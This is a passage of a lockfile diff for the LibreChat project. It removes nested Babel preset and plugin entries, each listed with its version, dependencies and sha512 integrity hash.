"sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="], - - "@librechat/client/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="], - - "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="], - - "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="], - - "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="], - - "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": 